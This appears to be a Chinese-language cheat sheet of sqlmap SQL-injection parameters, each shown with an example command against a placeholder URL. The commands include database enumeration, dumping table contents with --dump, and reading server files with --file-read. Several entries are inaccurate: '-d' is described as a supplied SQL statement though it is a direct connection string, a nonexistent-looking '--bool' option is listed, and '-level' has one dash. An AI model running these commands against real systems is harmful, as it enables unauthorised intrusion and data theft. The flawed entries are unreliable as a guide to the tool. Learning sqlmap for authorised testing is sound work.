sqlmap常用參數(shù)及示例
共 2604字,需瀏覽 6分鐘
·
2024-06-30 08:30
關(guān)注開源優(yōu)測(cè)不迷路
目標(biāo)設(shè)定
- -d: 針對(duì)一個(gè)數(shù)據(jù)庫(kù)管理系統(tǒng)的用戶提供的 SQL 語(yǔ)句。
sqlmap -d "mssql://sa:password@localhost/DataBase?driver=SQL+Server"
-r: 從一個(gè)文件中讀取 HTTP 請(qǐng)求。sqlmap -r request.txt
測(cè)試范圍和選項(xiàng)
-u: 目標(biāo) URL。sqlmap -u "http://example.com/index.php?id=1"--risk: 設(shè)置測(cè)試的風(fēng)險(xiǎn)等級(jí)(1-3)。sqlmap -u "http://example.com/index.php?id=1" --risk=3-level: 設(shè)置測(cè)試的技術(shù)水平(1-5)。sqlmap -u "http://example.com/index.php?id=1" --level=2
配置選項(xiàng)
--dbms: 指定后端數(shù)據(jù)庫(kù)的類型(如mysql,mssql等)。sqlmap -u "http://example.com/index.php?id=1" --dbms=mysql--user-agent: 指定 User-Agent 字符串。sqlmap -u "http://example.com/index.php?id=1" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"--proxy: 使用 HTTP 代理。sqlmap -u "http://example.com/index.php?id=1" --proxy="http://127.0.0.1:8080"
性能選項(xiàng)
--delay: 兩次請(qǐng)求之間的延遲時(shí)間。sqlmap -u "http://example.com/index.php?id=1" --delay=5--threads: 定義并發(fā)線程的數(shù)量。sqlmap -u "http://example.com/index.php?id=1" --threads=5
布爾盲注
--bool: 強(qiáng)制使用布爾盲注。sqlmap -u "http://example.com/index.php?id=1" --bool
數(shù)據(jù)獲取
-D: 指定數(shù)據(jù)庫(kù)名稱。sqlmap -u "http://example.com/index.php?id=1" -D yourDatabase-T: 指定表名。sqlmap -u "http://example.com/index.php?id=1" -D yourDatabase -T yourTable-C: 指定列名。sqlmap -u "http://example.com/index.php?id=1" -D yourDatabase -T yourTable -C yourColumn
操作選項(xiàng)
--dump: 轉(zhuǎn)儲(chǔ)數(shù)據(jù)庫(kù)表的內(nèi)容。sqlmap -u "http://example.com/index.php?id=1" --dump--file-read: 從數(shù)據(jù)庫(kù)中讀取文件。sqlmap -u "http://example.com/index.php?id=1" --file-read="path/to/your/file"
其他
-v: 詳細(xì)模式,顯示更多信息。sqlmap -u "http://example.com/index.php?id=1" -v-h: 顯示幫助信息。sqlmap -h
